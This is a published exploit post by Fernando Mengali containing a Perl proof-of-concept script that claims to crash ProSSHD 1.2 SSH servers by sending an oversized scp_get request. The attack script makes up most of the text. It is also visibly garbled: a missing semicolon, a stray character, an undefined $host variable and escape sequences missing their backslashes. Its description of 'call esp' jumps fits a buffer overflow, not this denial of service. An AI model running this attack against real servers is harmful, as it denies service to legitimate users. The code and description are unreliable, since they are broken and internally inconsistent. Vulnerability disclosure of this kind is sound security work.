Authored by Fernando Mengali

ProSSHD version 1.2 20090726 remote denial of service exploit.

#!/usr/bin/perl

use Net::SSH2

# Exploit Title: ProSSHD 1.2 20090726 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage: https://prosshd.com/
# Notification vendor: No reported
# Tested Version: ProSSHD 1.2 20090726
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to SSH.
#The following request sends a large amount of data to the SSH to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {s
$cmd="clear";
}

system("$cmd");

intro();
main();

print "t ==> Connecting to webserver... nn";
sleep(1);

my $i=0;
print "t ==> Exploiting... nn";

my $payload = "x41" x 500;

$connection2 = Net::SSH2->new();
$connection2->connect($host, $port) || die "nError: Connection Refused!n";
$connection2->auth_password($username, $password) || die "nError: Username/Password Denied!n";
$scpget = $connection2->scp_get($payload);
$connection2->disconnect();

print "t ==> Done! Exploited!";
sub intro {
print q {

,--,
_ ___/ /|
,;'( )__, ) ~
// // '--;
' | ^
^ ^

[+] ProSSHD 1.2 20090726 - Denial of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port, $username, $password) = @ARGV;

unless (defined($ip) && defined($port)) {

print "ntUsage: $0 <ip> <port> <username> <password> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated